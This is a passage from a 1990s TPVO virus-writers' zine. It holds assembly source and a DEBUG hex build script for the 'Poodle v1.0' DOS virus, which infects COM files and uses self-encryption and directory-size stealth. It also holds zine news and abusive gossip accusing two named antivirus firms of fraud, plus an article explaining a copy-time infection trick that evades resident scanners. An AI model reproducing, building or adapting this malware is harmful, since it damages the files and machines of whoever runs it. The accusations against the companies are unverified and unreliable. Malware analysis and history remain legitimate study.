;-----------------------------------------------------------------------
vir_int21: ;int 21h 的 isr...
pop ax
push ax
cmp ax,'WL' ;同伴呼叫吗?
jz say_yes ;说我在罗..
cmp ax,4b00h ;Run 程式吗?
jz infect_file ;是就传染去罗 ..
cmp ah,11h ;dir ?! 缩小罗 ..
jz stealth
cmp ah,12h
jz stealth
jmp exit_vir_int21
;---------------------------------------------------------------------------
stealth:
jmp dir_stealth
;-----------------------------
say_yes:
mov ax,'HO' ;和同伴说 "HellO"
add sp,12h
iret
;-----------------------------
infect_file:
push ax
push bx
push cx
push dx
push ds
push di
push si
mov ax,3d02h
call oint21
mov cs:[file_handle],ax
mov bx,ax ;看看传染过没...
mov ax,5700h
call oint21
mov cs:[file_time],cx
mov cs:[file_date],dx
and cl,00011111b
cmp cl,00000001b
jz j_08 ;呦..传染过啦...那就算了...
mov bx,cs:[file_handle]
push cs
pop ds
mov dx,offset buffer_02
mov cx,0003
mov ah,3fh
call oint21
cmp word ptr cs:[buffer_02],'ZM';是 EXE 档..暂时不传染...
jnz infect_it
j_08:
mov bx,cs:[file_handle]
mov ah,3eh
call oint21
pop si
pop di
pop ds
pop dx
pop cx
pop bx
pop ax
jmp exit_vir_int21
infect_it:
mov ax,4202h ;传染罗!!!
mov bx,cs:[file_handle]
xor cx,cx
mov dx,cx
call oint21
mov cs:[file_size],ax
cmp ax,4100 ;大于 4100 Bytes 吗?
jb j_08 ;太小?!有诈 ..
cmp ax,63000
jnb j_08
add ax,0ch
mov word ptr cs:[start+1],ax ;设偏移值 ..
;-------------------------------------------------------
add ax,0f4h
push ax
push ax
;-------------------------------------------------------
mov di,1000h ;选择解码指位暂存器 ..
r_0:
in al,40h ;取个乱数
and al,00000011b
cmp al,0
jnz r_1
mov bl,00000100b ;si
r_1:
cmp al,1
jnz r_2
mov bl,00000101b ;di
r_2:
cmp al,2
jnz r_3
mov bl,00000111b ;bx
r_3:
cmp al,3
jnz r_0
;----------------------------------------------------------------------------
m_sek: ; mov reg,xxxx
cmp bl,00000100b ;si
jnz m_1
mov ah,0beh
m_1:
cmp bl,00000101b ;di
jnz m_2
mov ah,0bfh
m_2:
cmp bl,00000111b ;bx
jnz m_3
mov ah,0bbh
m_3:
mov ds:[di],ah
pop cx
add cx,0ch
mov ds:[di+1],cx
add di,3
;---------------------------------------------------------------------------
call xx_0 ;设定解码指令和编码 ..
jmp l_add
xx_0:
in al,40h
and al,00000111b
cmp al,0 ;inc byte ptr [reg]
jnz xx_1
mov byte ptr cs:[uncmd],0feh
mov word ptr cs:[how_do],0ccfeh
xor ah,ah
call do_it
ret
xx_1:
cmp al,1 ;dec byte ptr [reg]
jnz xx_2
mov byte ptr cs:[uncmd],0feh
mov word ptr cs:[how_do],0c4feh
mov ah,00001000b
call do_it
ret
xx_2:
cmp al,2 ;not byte ptr [reg]
jnz xx_3
mov byte ptr cs:[uncmd],0f6h
mov word ptr cs:[how_do],0d4f6h
mov ah,00010000b
call do_it
ret
xx_3:
cmp al,3 ;neg byte ptr [reg]
jnz xx_4
mov byte ptr cs:[uncmd],0f6h
mov word ptr cs:[how_do],0dcf6h
mov ah,00011000b
call do_it
ret
xx_4:
cmp al,4 ;ror byte ptr [reg]
jnz xx_5
mov byte ptr cs:[uncmd],0d0h
mov word ptr cs:[how_do],0c4d0h
mov ah,00001000b
call do_it
ret
xx_5:
cmp al,5 ;rol byte ptr [reg]
jnz xx_0
mov byte ptr cs:[uncmd],0d0h
mov word ptr cs:[how_do],0ccd0h
xor ah,ah
call do_it
ret
;----------------------------------------------------------------------------
do_it: ;编码 ..
or ah,bl
db 3eh,0c6h,05h ;mov byte ptr [di],??
uncmd db 00h
mov ds:[di+1],ah
inc di
inc di
push si
push di
push ax
mov si,0100h
mov di,100ch
mov cx,vir_size
cc_inc:
mov ah,cs:[si]
how_do dw ?
mov cs:[di],ah
inc di
inc si
loop cc_inc
pop ax
pop di
pop si
ret
;----------------------------------------------------------------------------
l_add: ;加上递增指令
xor ax,ax
in al,40h
and al,00000011b
mov si,ax
cmp bl,00000100b ;si
jnz l_1
mov ah,cs:[add_si+si]
jmp short l_3
l_1:
cmp bl,00000101b ;di
jnz l_2
mov ah,cs:[add_di+si]
jmp short l_3
l_2:
mov ah,43h
l_3:
mov ds:[di],ah
inc di
;----------------------------------------------------------------------------
c_cmp: ;加上比较指令 ..
cmp bl,00000111b
jnz c_1
mov bl,00000011b
c_1:
or bl,00000010b
mov ah,11111000b
or ah,bl
mov byte ptr ds:[di],81h
mov ds:[di+1],ah
pop cx
add cx,vir_size+100h
mov ds:[di+2],cx
add di,4
in al,40h
and al,00000001b
cmp al,0 ;jb xx
jnz cc_1
mov word ptr ds:[di],0f772h
cc_1:
cmp al,1 ;jnz xx
jnz cc_2
mov word ptr ds:[di],0f775h
cc_2:
inc di
inc di
;-----------------------------------------------------------------------
mov ax,4000h ;写入档案 ..
mov bx,cs:[file_handle]
push cs
pop ds
mov dx,1000h
mov cx,vir_size+0ch
call oint21
mov ax,4200h
mov bx,cs:[file_handle]
xor cx,cx
mov dx,cx
call oint21
mov byte ptr cs:[buffer_01],0e9h ;设进入点 ..
mov ax,cs:[file_size]
sub ax,3
mov word ptr cs:[buffer_01+1],ax
mov ax,4000h
mov bx,cs:[file_handle]
push cs
pop ds
mov dx,offset buffer_01
mov cx,3
call oint21
mov ax,5701h ;盖个标记 ..
mov bx,cs:[file_handle]
mov cx,cs:[file_time]
mov dx,cs:[file_date]
and cl,11100001b
or cl,01h
call oint21
jmp j_08
exit_vir_int21:
add sp,12h
cli
jmp j_09
;-----------------------------------------------------------------------------
oint21: ;原始 int 21h 呼叫程式 ..
cli
call protect ;升防护 ..
mov cs:[buffer_00],ax
mov ax,offset j_10
pushf
push cs
push ax
mov ax,cs:[buffer_00]
j_09:
push es
push ds
push bp
push di
push si
push dx
push cx
push bx
push ax
push ds
mov ax,cs:[oint21_h]
mov ds,ax
pop ax
db 3eh,8eh,1eh ; mov ds,ds:[xxxx]
i21_x dw ?
jmp dword ptr cs:[int21_l]
j_10:
call unprotect ; 撤防护 ..
sti
ret
;---------------------------------------------------------------------------
dir_stealth: ; dir 隐藏大小 ..
call oint21
cmp al,0ffh
jz dir_exit
push ax
push bx
push es
mov ah,2fh
call oint21
cmp byte ptr es:[bx],0ffh ;扩展式 FCB 吗?!
jnz dir_handle
add bx,0007h
dir_handle:
mov ah,es:[bx+17h]
and ah,00011111b
cmp ah,00000001b
jnz dir_ok
sub word ptr es:[bx+1dh],vir_size+0ch ;减肥一下...
dir_ok:
pop es
pop bx
pop ax
dir_exit:
add sp,12h
iret
;--------------------------------------------------------------------------
protect: ;升起防护网 !
push ax
push bx
push ds
xor ax,ax
mov ds,ax
mov ax,offset j_11 ;把 int 2ah 换掉 ..
mov bx,cs
xchg ax,ds:[2ah*4]
xchg bx,ds:[2ah*4+2]
mov cs:[int2a_l],ax
mov cs:[int2a_h],bx
mov ax,cs:[oint13_l] ;把 int 13h 换掉 ..
mov bx,cs:[oint13_h]
xchg ax,ds:[13h*4]
xchg bx,ds:[13h*4+2]
mov cs:[int13_l],ax
mov cs:[int13_h],bx
mov ax,cs:[oint15_l] ;把 int 15h 换掉 ..
mov bx,cs:[oint15_h]
xchg ax,ds:[15h*4]
xchg bx,ds:[15h*4+2]
mov cs:[int15_l],ax
mov cs:[int15_h],bx
mov ax,0070h ;把 dos 内部 int 13h 换掉 ..
mov ds,ax
mov ax,cs:[oint13_l]
mov bx,cs:[oint13_h]
mov ds:[104h],ax
mov ds:[106h+2],bx
xchg ax,ds:[0b4h]
xchg bx,ds:[0b4h+2]
mov cs:[dos_int13_l],ax
mov cs:[dos_int13_h],bx
pop ds
pop bx
pop ax
ret
;----------------------------------------------------------------------------
unprotect: ;撤除防护网 !
int 28h ;call int 28h 叫快取程式赶快把资料写入 !
int 28h
int 28h
int 28h
int 28h
push ax
push bx
push ds
xor ax,ax
mov ds,ax
mov ax,cs:[int2a_l] ;还原 int 2ah
mov bx,cs:[int2a_h]
mov ds:[2ah*4],ax
mov ds:[2ah*4+2],bx
mov ax,cs:[int13_l] ;还原 int 13h
mov bx,cs:[int13_h]
mov ds:[13h*4],ax
mov ds:[13h*4+2],bx
mov ax,cs:[int15_l] ;还原 int 15h
mov bx,cs:[int15_h]
mov ds:[15h*4],ax
mov ds:[15h*4+2],bx
mov ax,0070h ;还原 dos 内部 int 13h ..
mov ds,ax
mov ax,cs:[dos_int13_l]
mov bx,cs:[dos_int13_h]
mov ds:[106h],ax
mov ds:[106h+2],bx
mov ds:[0b4h],ax
mov ds:[0b4h+2],bx
pop ds
pop bx
pop ax
ret
;---------------------------------------------------------------------------
j_11:
iret
;-----------------------------------------------------------------------
vir_msg db 'This is [Poodle v1.0] Virus !!!',0dh,0ah
db ' Written By [H.D] at TPVO.',0dh,0ah,'$'
;-----------------------------------------------------------------------
int13_l dw ?
int13_h dw ?
int15_l dw ?
int15_h dw ?
int21_l dw ?
int21_h dw ?
int2a_l dw ?
int2a_h dw ?
;-----------------------------------------------------------------------
oint13_l dw ?
oint13_h dw ?
oint15_l dw ?
oint15_h dw ?
oint21_l dw ?
oint21_h dw ?
;-----------------------------------------------------------------------
vir_size equ offset vir_end-offset start
file_handle dw ?
trace_flag db ?
cmmd_addr dw ?
file_time dw ?
file_date dw ?
file_size dw ?
buffer_00 dw ?
buffer_01 db 3 dup(?)
buffer_02 db 90h,0cdh,20h
dos_int13_l dw ?
dos_int13_h dw ?
add_si db 46h,0ach,0a6h,0ach
add_di db 47h,0aeh,0a6h,0aeh
vir_end:
end start
=============================================================================
N POODLE.COM
E 0100 BB 00 00 B8 4C 57 CD 21 3D 4F 48 75 14 B4 2A CD
E 0110 21 80 FE 0B 75 2E B4 09 BA 0B 06 03 D3 CD 21 CD
E 0120 20 2E A1 16 00 2E 89 87 6A 06 06 B8 00 90 8E C0
E 0130 BE 00 01 03 F3 BF 00 01 B9 8A 05 F3 A4 07 9C 9A
E 0140 5C 01 00 90 BE 00 01 BF 77 06 03 FB 2E 8B 05 2E
E 0150 89 04 2E 8A 65 02 2E 88 64 02 FF E6 53 1E 33 C0
E 0160 8E D8 B8 A3 01 B3 13 E8 11 00 B8 CB 01 B3 15 E8
E 0170 09 00 1F E8 8F 00 E8 C5 00 5B CF FA A3 04 00 8C
E 0180 0E 06 00 FB B4 35 8A C3 CD 21 E8 68 00 9C 0E B8
E 0190 99 01 50 B8 FF FF 06 53 CB E8 61 00 2E C6 06 69
E 01A0 06 00 C3 50 55 2E 80 3E 69 06 01 74 1B 8B EC 8B
E 01B0 46 06 3D 00 F0 75 11 2E A3 5D 06 8B 46 04 2E A3
E 01C0 5B 06 2E C6 06 69 06 01 5D 58 CF 50 55 2E 80 3E
E 01D0 69 06 01 74 1D 8B EC 8B 46 06 2E 3B 06 6A 06 73
E 01E0 11 2E A3 61 06 8B 46 04 2E A3 5F 06 2E C6 06 69
E 01F0 06 01 5D 58 CF 9C 58 80 CC 03 50 9D C3 9C 58 80
E 0200 E4 FE 50 9D C3 BE 06 00 C5 1C 8B F3 C5 5C 01 81
E 0210 7F 06 FF 2E 75 05 8B 5F 08 C5 1F B9 35 00 03 D9
E 0220 43 81 3F 2E 8E 75 02 8B C3 E2 F5 2E A3 63 06 2E
E 0230 8C 1E 65 06 8B D8 8B 47 03 2E A3 F1 04 C3 0E 1F
E 0240 8B 1E 63 06 A1 65 06 80 C3 05 89 1E 53 06 A3 55
E 0250 06 8B 1E 63 06 8E D8 B8 68 02 FA 89 47 01 C7 47
E 0260 03 00 90 C6 07 EA FB C3 58 50 3D 4C 57 74 15 3D
E 0270 00 4B 74 17 80 FC 11 74 08 80 FC 12 74 03 E9 44
E 0280 02 E9 79 02 B8 4F 48 83 C4 12 CF 50 53 51 52 1E
E 0290 57 56 B8 02 3D E8 33 02 2E A3 67 06 8B D8 B8 00
E 02A0 57 E8 27 02 2E 89 0E 6C 06 2E 89 16 6E 06 80 E1
E 02B0 1F 80 F9 01 74 1B 2E 8B 1E 67 06 0E 1F BA 77 06
E 02C0 B9 03 00 B4 3F E8 03 02 2E 81 3E 77 06 4D 5A 75
E 02D0 14 2E 8B 1E 67 06 B4 3E E8 F0 01 5E 5F 1F 5A 59
E 02E0 5B 58 E9 E0 01 B8 02 42 2E 8B 1E 67 06 33 C9 8B
E 02F0 D1 E8 D7 01 2E A3 70 06 3D 04 10 72 D4 3D 18 F6
E 0300 73 CF 05 0C 00 2E A3 01 01 05 F4 00 50 50 BF 00
E 0310 10 E4 40 24 03 3C 00 75 02 B3 04 3C 01 75 02 B3
E 0320 05 3C 02 75 02 B3 07 3C 03 75 E6 80 FB 04 75 02
E 0330 B4 BE 80 FB 05 75 02 B4 BF 80 FB 07 75 02 B4 BB
E 0340 88 25 59 83 C1 0C 89 4D 01 83 C7 03 E8 03 00 E9
E 0350 B5 00 E4 40 24 07 3C 00 75 13 2E C6 06 E5 03 FE
E 0360 2E C7 06 FA 03 FE CC 32 E4 E8 74 00 C3 3C 01 75
E 0370 13 2E C6 06 E5 03 FE 2E C7 06 FA 03 FE C4 B4 08
E 0380 E8 5D 00 C3 3C 02 75 13 2E C6 06 E5 03 F6 2E C7
E 0390 06 FA 03 F6 D4 B4 10 E8 46 00 C3 3C 03 75 13 2E
E 03A0 C6 06 E5 03 F6 2E C7 06 FA 03 F6 DC B4 18 E8 2F
E 03B0 00 C3 3C 04 75 13 2E C6 06 E5 03 D0 2E C7 06 FA
E 03C0 03 D0 C4 B4 08 E8 18 00 C3 3C 05 75 85 2E C6 06
E 03D0 E5 03 D0 2E C7 06 FA 03 D0 CC 32 E4 E8 01 00 C3
E 03E0 0A E3 3E C6 05 00 88 65 01 47 47 56 57 50 BE 00
E 03F0 01 BF 0C 10 B9 8A 05 2E 8A 24 00 00 2E 88 25 47
E 0400 46 E2 F4 58 5F 5E C3 33 C0 E4 40 24 03 8B F0 80
E 0410 FB 04 75 07 2E 8A A4 7E 06 EB 0E 80 FB 05 75 07
E 0420 2E 8A A4 82 06 EB 02 B4 43 88 25 47 80 FB 07 75
E 0430 02 B3 03 80 CB 02 B4 F8 0A E3 C6 05 81 88 65 01
E 0440 59 81 C1 8A 06 89 4D 02 83 C7 04 E4 40 24 01 3C
E 0450 00 75 04 C7 05 72 F7 3C 01 75 04 C7 05 75 F7 47
E 0460 47 B8 00 40 2E 8B 1E 67 06 0E 1F BA 00 10 B9 96
E 0470 05 E8 57 00 B8 00 42 2E 8B 1E 67 06 33 C9 8B D1
E 0480 E8 48 00 2E C6 06 74 06 E9 2E A1 70 06 2D 03 00
E 0490 2E A3 75 06 B8 00 40 2E 8B 1E 67 06 0E 1F BA 74
E 04A0 06 B9 03 00 E8 24 00 B8 01 57 2E 8B 1E 67 06 2E
E 04B0 8B 0E 6C 06 2E 8B 16 6E 06 80 E1 E1 80 C9 01 E8
E 04C0 09 00 E9 0C FE 83 C4 12 FA EB 12 FA E8 5F 00 2E
E 04D0 A3 72 06 B8 F8 04 9C 0E 50 2E A1 72 06 06 1E 55
E 04E0 57 56 52 51 53 50 1E 2E A1 65 06 8E D8 58 3E 8E
E 04F0 1E 00 00 2E FF 2E 53 06 E8 AE 00 FB C3 E8 CB FF
E 0500 3C FF 74 26 50 53 06 B4 2F E8 BF FF 26 80 3F FF
E 0510 75 03 83 C3 07 26 8A 67 17 80 E4 1F 80 FC 01 75
E 0520 06 26 81 6F 1D 96 05 07 5B 58 83 C4 12 CF 50 53
E 0530 1E 33 C0 8E D8 B8 0A 06 8C CB 87 06 A8 00 87 1E
E 0540 AA 00 2E A3 57 06 2E 89 1E 59 06 2E A1 5B 06 2E
E 0550 8B 1E 5D 06 87 06 4C 00 87 1E 4E 00 2E A3 4B 06
E 0560 2E 89 1E 4D 06 2E A1 5F 06 2E 8B 1E 61 06 87 06
E 0570 54 00 87 1E 56 00 2E A3 4F 06 2E 89 1E 51 06 B8
E 0580 70 00 8E D8 2E A1 5B 06 2E 8B 1E 5D 06 A3 04 01
E 0590 89 1E 08 01 87 06 B4 00 87 1E B6 00 2E A3 7A 06
E 05A0 2E 89 1E 7C 06 1F 5B 58 C3 CD 28 CD 28 CD 28 CD
E 05B0 28 CD 28 50 53 1E 33 C0 8E D8 2E A1 57 06 2E 8B
E 05C0 1E 59 06 A3 A8 00 89 1E AA 00 2E A1 4B 06 2E 8B
E 05D0 1E 4D 06 A3 4C 00 89 1E 4E 00 2E A1 4F 06 2E 8B
E 05E0 1E 51 06 A3 54 00 89 1E 56 00 B8 70 00 8E D8 2E
E 05F0 A1 7A 06 2E 8B 1E 7C 06 A3 06 01 89 1E 08 01 A3
E 0600 B4 00 89 1E B6 00 1F 5B 58 C3 CF 54 68 69 73 20
E 0610 69 73 20 5B 50 6F 6F 64 6C 65 20 76 31 2E 30 5D
E 0620 20 56 69 72 75 73 20 21 21 21 0D 0A 20 20 20 57
E 0630 72 69 74 74 65 6E 20 42 79 20 5B 48 2E 44 5D 20
E 0640 61 74 20 54 50 56 4F 2E 0D 0A 24 00 00 00 00 00
E 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0670 00 00 00 00 00 00 00 90 CD 20 00 00 00 00 46 AC
E 0680 A6 AC 47 AE A6 AE
RCX
0586
W
Q

--
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 三 期 TP
oV PV
TO   小 道 消 息   Vo
pT OT
VP by Bill Yang VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

==============================================================

小 道 消 息 <掰掰杨>
各位好!! 我先自我介绍一下,我就是 TPVO BBS 的站长(BILL YANG)
可能在整个组织当中就属我最颓废了吧??因为我不会写程式是也...
所以只好管理著这一个 BBS ,并负责联系的工作.
OK!!废话少说,今天写这一篇小道消息,可不希望把整个杂志的名声
给狠狠的砸掉.....SO..由于整个 TPVO 可以说是以 BBS 为主要的
对外管道,并且因为成员身份必需保密的原则,所以可能会有很多人
对我们产生幻想,以为我们像是『电脑叛客』一般,每天坐在电脑前
面侵入全世界呢....哈哈哈,先告诉你一个消息,有关 DARK SLAYER
的今天有点语无伦次的,可能是肚子饿了吧!!以下正式的告知大家几件
新消息....
听说 DARK SLAYER 接受台北人人电台电脑共和国节目访问,据本人听
节目录音的带子,发现很多人仍然对 TPVO 不了解,也对病毒认知不良,
还有一位女孩子,居然问主持人老猫桑 TPVO BBS 为了让全台
湾的电脑用户都能得到电脑病毒的资讯,成立了
联合作业中心,欢迎中南东部的站台申请,其详情请在国资网,90 NET
病毒网写信给 MIN JEAN ,他会告诉你详情....
TPVO BBS 即将成立多线站,目标为 3-4 线,欢迎大家赞助...帐号如下
邮政划拨 18494370 户名:杨化民 ,如你要赞助,最好先在 TPVO BBS
注册,免得站长没法子给你优待,请记得注明 ID,密码.
喔..我们即将在全球资讯网(WWW)建立自己的 HOME PAGE ,敬请拭目以待..
DARK SLAYER 写了一些小工具,有站台用的,也有 WINDOWS 用的,站台用
的是 PROBOARD FILE TOOLS 简称 PBFT ,专门搬移档区资料,只支援PB..
WIN 方面则是 DARK SLAYER TINY SCAN 简称 DSTS ,专扫未知毒....
PBFT & DSTS 将会放在第三期杂志里一起压缩,欢迎试用...
今年由于我可能要去当兵,所以 TPVO BBS 电话可能会改,届时会通知大家.
废话这么多,感谢你耐心的看完,希望你能继续支持我们......

Taiwan Power Virus Organization BBS
台湾威力病毒组织电子布告栏系统
TPVO BBS DATA TELPHONE : 886-02-927-7432
TPVO BBS SYSOP : BILL YANG 杨化民
OPEN TIME : AM 9:00 ~ AM 7:00 YOU ARE WELCOME!!




台 湾 威 力 病 毒 组 织 病毒杂志
第 四 期
┌──────────────[本期杂志目录]──────────────┐
┌─────────────────────────────────┐
│看这里! 本期杂志最 [精彩] 的地方... │
│ │
│[精华] │
│ │
│网路八卦新闻 by Shi-Hao Weng│
│趋势科技 by Dark Killer │
└─────────────────────────────────┘

[病毒]
一.拷贝插花病毒 by Dark Slayer
二.DIR 会不会使电脑中毒? by Zhugh Jin
三.病毒教学 (开机、DTA) by Min Jean
四.Remember 4.0 by Min Jean
五.Guava 2.0 (教学版) by Dark Killer
六.Pc-Soft James Virus by Pc-Soft James
七.Pitch 1.1 by Dark Killer
八.Weeding Party by Dark Judge
[防毒]
九.解决巨集病毒 DIY by Shi-hao Weng
十.简易的扫毒程式? by Zhugh Jin
[聊天]
掰掰杨 by Bill Yang
摘录自 Tanet by Dark Killer
└───────────────────────────────────┘
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.003 e
l [精华] l
O O
v 网路八卦新闻 Shi-Hao Weng v
e E-Mail: u4510830@tknet.tku.edu.tw e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
  唉..闲来无事,窗外又是绵绵细雨,嗯..虽不是出游天,倒是上网路的好天气。
打开电脑连上中正大学资工的 Firebird BBS ,再转往我心爱的职棒信区..啥?!输了..
算了,看不下去了,越看越气,乾脆到病毒讨论区看看吧..
哇勒!!不去还好,这会儿去了差点没从椅子上给摔下来..竟然有篇 POST 标题
说道: 趋势说台湾no.1不能解,要将文件杀掉,真的吗?... 噗..(看完又吐口血..)
天哪!!趋势是不是钱赚太多脑袋不清楚啦,这种『大逆不道』的话都说得出来?!
等不及进去看看是那个无知可怜的 User 又被趋势拐了,顺便写封回信去『ㄍ一ㄠ』
趋势.....<嗯..看下去>
<原信>
-----------------------------------------------------------------------------
发信人: send.bbs@bbs.ee.nthu (梦), 信区: virus
标 题: 趋势说台湾no.1不能解,要将文件杀掉,真的吗?...
发信站: ☆清华电机☆ (Sun Jun 30 00:47:00 1996)
转信站: Firebird!news.cs.ccu!suncc.ccu!news.cc.nctu!thccx4!news.ee.nthu!star
我朋友本来有常驻pccillin95,可是他中了台湾no.1后,打电话去问趋势,
趋势说这只毒目前没有方法可以解毒,要他自己把病毒文件杀掉,才能真正
不会再中毒,这是真的吗?害他一些文件都要再重打,不过我自己是有用解毒巨集
解过病毒,现在也没有发现有中毒的现像,
--
※ Origin: 清华电机 ◆ From: www.ggreat.com.tw
------------------------------------------------------------------------------
喔..这个趋势还真够恶劣,叫人家把文件都砍掉,要人家重打呀..对嘛! 人家现在
市面上都有那个解毒巨集了,可以用那个去解毒嘛..为啥要砍掉......
< 哦..『黑函』喔.. 『中伤』喔.. 还是 XX 咬 XX
(此处 XX 任选 A.狗 B.吸血鬼 C.防毒公司 D.以上皆非);原来现在广告不仅要到杂志上
发表文章『介绍病毒』(有稿费吗? 还是贴钱...),也要搞这玩意儿?! 喔..社会真是进步了
..
唉..心情郁闷的关上电脑,想想那封信,突然想起对岸江ㄅㄟㄅㄟ的笑脸,嗯..一
句老话浮上心头....
小 心! 匪 谍 就 在 您 身 边
网路八卦王
1996/09/08 OVEL
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 e
l [精华] l
O O
v 趋势科技 Dark Killer v
e E-Mail: None e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
这则新闻是在讲趋势科技在 Internet 上 !@#$%^ 的事...
─[Start]──────────────────────────────────
发信人: "Chang Chi-Chie" <chichie@ms7.hinet.net>, 信区: virus
标 题: Re: Taiwan NO.1 ?
发信站: DCI HiNet (Sat Sep 14 06:46:15 1996)
转信站: Firebird!news.cs.ccu!suncc.ccu!news.cc.nctu!news.ee.ntit!spring!serv.h
出 处: david.trend.com.tw
如果没有解毒程式,中了 Word病毒,只需要将normal.dot删除后,不在开启
已中毒的文件即可,并不需要重灌Word,当然,如果病毒巨集将 Word的程
式或资料档删除,当然就需要重灌了.
> > What's "Taiwan NO.1"?
> > 望仁人君子解惑之!
>
> Word 病毒,发病后可考验你的心算能力......
> 答不出来就连开 20 个 Word 文件档,让你的 Word 不能用,酷吧!
>
> 到 www.trend.com ( 好像是这样 ) download 软体就可清易扫毒.....
> 文件档亦有很大的机会可救回......
> Word 可能得重灌......
>
─[End]───────────────────────────────────
─[Start]──────────────────────────────────
发信人: "Chang Chi-Chie" <chichie@ms7.hinet.net>, 信区: virus
标 题: Re: Taiwan1 该如何解
发信站: DCI HiNet (Sat Sep 14 06:54:46 1996)
转信站: Firebird!news.cs.ccu!suncc.ccu!news.cc.nctu!news.ee.ntit!spring!serv.h
出 处: david.trend.com.tw
Pcscan可在DOS下解决Taiwan No.1 可以试试看!
> > 我的电脑中了TWN1
> > 用gscan解 出现please update to clean 的讯息 无法解
> > 用z-scan解 有的档案过大 WORD出现记忆体不够的讯息 亦无法解
> > 请问还有别的方法吗?
> > Thanks a lot!!
─[End]───────────────────────────────────
嗯... 看看发信站台, 呦... 是 Hinet 耶... 再看看出处... 哇哇哇...
是 david.trend.com.tw (我 Shell 到 DOS 下跑 PCSCAN... !@#$%^...)
趋势科技? 呵呵呵... 赚钱赚的好坎苛...
如果你听不懂上面在讲什么... 我来解说一下...
出 处: 这个是指你申请帐号的地方, 像 Hinet、Seednet、Wownet...
就是你用数据机拨到 Hinet、Seednet、Wownet 的线上时, 他会
要你输入 id (名字) 及 password (密码), 如果你是从 hinet
上去, 「出处」的地方会是 "168.95.xxx.yyy" (xxx、yyy 不固
定...), 而台湾两家防毒公司都有设 ISP, 但是仅供内部人员使
用... 金帅 (Zlock) 的 WWW 是 www.ggreat.com.tw, 趋势科技
(PC-Cillin) 的 WWW 是 www.trend.com.tw, 而本文所引出来的
是 david.trend.com.tw, 同样是趋势的站台... 而他们的站台
只有员工才能用... 所以本文确定是由员工所打...
发信处: 你在上 Hinet、Seednet、Wownet 后常常用 "telnet" 的功能来
到其他的站台 (像是: 中山大学的福尔摩沙 bbs.nsysu.edu.tw)
, 然后你可以在 bbs.nsysu.edu.tw 病毒版发表文章... 你在那
里发表, 发信处就会有记录... 本文所引文章是从趋势连到中华
电信 (Hinet) 然后发表文章...
重 点: 为何不直接在趋势的站台发表文章呢? 因为这封信提到「可以『
清易的』扫毒」, 而这套软体呢? 对了, 就是趋势的 PC-Cillin
, 说自己的产品好 (就是那个『清易的』...) 不会让别人吐槽
吗? 所以他要连到 Hinet 发信, 让别人以为 PC-Cillin 有很多
人在支持... 真是一家烂公司! (现在想到 KeyPro 主要就是防拷
的... 呕... 又要吐了...)
结 论: 这些公司真是卑鄙到家了! 骗钱居然骗到 Internet 上面去了...
不要怀疑! PC-Cillin 除了 VICE 还有点用处外, 其他一无可取!
而且 VICE 写的又慢又烂, 看看 PTAV, 又快又强... 台大的学生
写的程式会比冯老头那小子还烂? 台湾程式设计的人才绝对不在
台大... 我不盖你... 居然写出能 VICE 这种烂东西...
金帅公司简直更卑劣! 居然替趋势发黑函 (真X他妈的...), 说
打去趋势问说中了 Taiwan No.1 要怎么办? 发信的人居然「帮他
」回答说「趋势公司说要杀掉档案...」(详情看 OVEL-004.T03),
结果居然发现发信人是从 www.ggreat.com.tw 连出来... 金帅公
司? 不过是一个只会毁谤别人公司的公司...
这两家公司成为台湾病毒界两大废物... 改天我来帮他们写他们
软体的历史资料好了... 把所有的毁谤、丑闻都写出来... 这一
群白痴的公司... :P
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
v v
e 台湾威力病毒研究组织 第 四 期 杂志 P.001 e
l [病毒] l
O O
v 拷贝插花病毒 Dark Slayer v
e E-Mail: Megadeth.bbs@csie.nctu.edu.tw e
l l
OvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvelOvel
拷贝插花病毒... 为何取这么好笑的名字呢? 因为此毒在拷贝时对目的
档的写入资料加工 (插花) , 所以我叫它 copy insert :)
这样做有何好处呢? 各位想想... 当我们记忆体常驻有防毒程式, 而在
拷贝档案时, 即使拷贝的是一个执行档防毒程式也不会警告, 这是因为
防毒程式为了不造成无谓的警告才会如此 (想想看... 如果你的防毒程
式在你拷贝档案时频频警告, 那么你还会想用它吗?), 所以这也可以说
是一个漏洞, 当拷贝执行档时, 我们只要对写入的资料修改, 而写入的
动作就交给拷贝的程式来做... 这样我们就完成了感染, 而 "智慧型"
防毒程式就变成"智障型", 呆在那边 :)

ok! 理论部份掰完了, 现在来掰技术部份...
相信大家都知道我们要加工的系统函数是 ah=40h/int 21h 吧? 首先要
判断所写入的档案代码的档名是否为执行档, 怎么做? 利用SFT 就可以
取得档案代码的档名了... (此毒只感染 COM)
然后判断此档代码是档案或设备 (ex: CON, LPT, NUL... etc.), 利用
SFT 偏移5 的设备属性就可判断了...
再来判断档案代码的读写指标是否指向 0, 因为写入的资料若为档案开
端的资料, 那么对其修改才能取得一开始的控制权...
以上条件都符合了之后, 搜寻写入的资料里是否有连续的 n bytes 的0
(n = size of virus), 若有... 则将病毒码拷一份过去, 在将资料开
头前3 bytes 改成 jmp, 如此便完成感染...
我的这种感染法, 感染后档案大小不会改变, 因为我是寻找档案中有足
够的 0, 再将病毒放在该处... 不过有一利就有一弊, 有多少档案能符
合这个标准呢? 尤其有些执行档都加上压缩, 符合条件的就更少了, 这
问题有解决的办法... 不过有点危险... 你可以不用我的感染法... 利
用一般的附在档尾的感染方式, 不过你得先假设存资料的记忆体有多余
的空间让你放病毒码, 不过如果执行拷贝动作的是COMMAND.COM 那么我
们就可以不用担心这个问题... 这就留给你去发展吧
PS: 如果你拷贝了很多执行档(COM) 都没被感染, 那么试试 COMMAND :)
